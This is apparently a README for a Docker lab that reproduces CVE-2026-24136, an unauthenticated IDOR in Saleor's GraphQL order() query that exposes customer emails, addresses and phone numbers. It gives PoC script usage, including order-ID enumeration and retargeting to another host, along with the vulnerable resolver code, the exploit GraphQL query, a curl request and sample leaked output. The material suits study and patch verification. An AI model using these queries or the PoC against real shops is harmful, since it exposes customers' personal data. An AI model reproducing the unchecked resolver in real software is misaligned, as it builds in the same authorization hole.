
CVE-2026-24136 | Lab khai thác lỗ hổng IDOR trên Saleor GraphQL - query order() không kiểm tra xác thực, lộ toàn bộ PII (email, địa chỉ, SĐT) của khách hàng. Bao gồm môi trường Docker, script seed data và PoC. CVSS 4.0: 8.7 HIGH.
| Field | Details |
|---|---|
| CVE ID | CVE-2026-24136 |
| Vulnerability Type | IDOR - Authorization Bypass Through User-Controlled Key (CWE-639) |
| Software | Saleor e-commerce platform |
| Affected Versions | 3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28 |
| Patched Versions | 3.20.110 · 3.21.45 · 3.22.29 |
| CVSS 3.1 | 7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CVSS 4.0 | 8.7 HIGH |
| Impact | Unauthenticated actor can read PII (name, address, phone, email) of any order |
| Authentication Required? | No |
Saleor provides a GraphQL API to manage e-commerce orders. The order(id: $id) query allows retrieving details of an order by its global ID. In affected versions, this query does not check whether the caller has permission to view that order.
Anyone, including completely anonymous users without an account, can call this query and receive the full PII of the customer: email, full name, shipping address, phone number, login history.
cve-2026-24136-lab/
├── docker-compose.yml # Lab environment (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1 # Automated startup script (Windows PowerShell)
├── setup_lab.sh # Automated startup script (Linux / WSL / macOS)
├── README.md
└── scripts/
├── start_api.sh # Startup wrapper: patch wsgi bug + gunicorn
├── seed_data.py # Create victim accounts + orders with PII
└── poc_cve_2026_24136.py # Exploitation PoC
pip install requests# Grant execution permission if needed
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
# Run automated setup
.\setup_lab.ps1
chmod +x setup_lab.sh
./setup_lab.sh
# 1. Start containers
docker compose up -d
# 2. Wait for API to be ready (~60-90 seconds)
# Check: curl http://localhost:8000/health/
# 3. Create admin account
docker exec cve_saleor_api python manage.py shell -c \
"from django.contrib.auth import get_user_model; U=get_user_model(); \
U.objects.filter(email='[email protected]').exists() or \
U.objects.create_superuser('[email protected]', 'admin')"
# 4. Populate products/channels
docker exec cve_saleor_api python manage.py populatedb
# 5. Create victim data (accounts + orders with PII)
cd scripts
pip install requests
python seed_data.py
Endpoints after startup:
| Service | URL |
|---|---|
| Saleor GraphQL API | http://localhost:8000/graphql/ |
| GraphQL Playground | http://localhost:8000/graphql/ |
| Saleor Dashboard | http://localhost:9000 |
| Admin | [email protected] / admin |
cd scripts
# View technical explanation
python poc_cve_2026_24136.py explain
# Exploit from seeded list (RECOMMENDED - Saleor 3.x uses UUID IDs)
python poc_cve_2026_24136.py file order_ids.json
# Exploit a single order using direct base64 global ID
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...
# Enumerate sequential (only works with Saleor < 3.x using integer IDs)
python poc_cve_2026_24136.py enumerate --start 1 --end 100
# Change target API
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json
# Save results to JSON
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json
[*] Loaded 6 Order IDs from order_ids.json
[*] Querying without authentication...
[*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)
╔══════════════════════════════════════════════════════════════╗
║ [LEAKED] ORDER #41 -- DRAFT ║
╠──────────────────────────────────────────────────────────────╣
║ Email : [email protected] ║
╠──────────────────────────────────────────────────────────────╣
║ Billing Address : Nguyen Van A ║
║ Street : 123 Le Loi Street ║
║ City/Post : HO CHI MINH CITY 700000 ║
║ Country : Vietnam ║
║ Phone : +84901234567 ║
╚══════════════════════════════════════════════════════════════╝
[*] Successfully leaked 6/6 orders
Saleor uses "Global Object Identification" according to the Relay GraphQL spec. Each object is identified by a global ID of the form:
base64("<TypeName>:<internal_id>")
For orders in Saleor 3.x:
# internal_id is UUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id = base64("Order:" + internal_id)
= "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"
Note: Saleor 2.x uses integer sequential IDs (
Order:1,Order:2, ...) making enumeration easier.
Saleor 3.x switched to UUID so an attacker needs to obtain the UUID through other means (order confirmation email, URL leak, etc.).
File: saleor/graphql/order/resolvers.py
# VULNERABLE VERSION (before patch)
def resolve_order(root, info, id):
"""Resolve order by ID – no authorization check at all."""
_, pk = from_global_id_or_error(id, Order)
return qs.filter(pk=pk).first()
# Anyone calling receives the data, no user check, no session check
File: saleor/graphql/order/schema.py
# Query definition, no permissions declared
class OrderQueries:
order = graphene.Field(
Order,
description="Look up an order by ID.",
id=graphene.Argument(graphene.ID, description="ID of the order."),
)
def resolve_order(self, info, id):
return resolvers.resolve_order(info, id)
# No @permission_required, no guard at all
Query sent without Authorization header:
query ExploitOrder($id: ID!) {
order(id: $id) {
number
status
userEmail
billingAddress {
firstName
lastName
streetAddress1
city
postalCode
phone
}
shippingAddress {
firstName
lastName
phone
}
user {
email
firstName
lastName
lastLogin
isActive
}
}
}
# Send via curl, no token required
curl -s http://localhost:8000/graphql/ \
-H "Content-Type: application/json" \
-d '{
"query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
}'
# Response (no auth needed):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}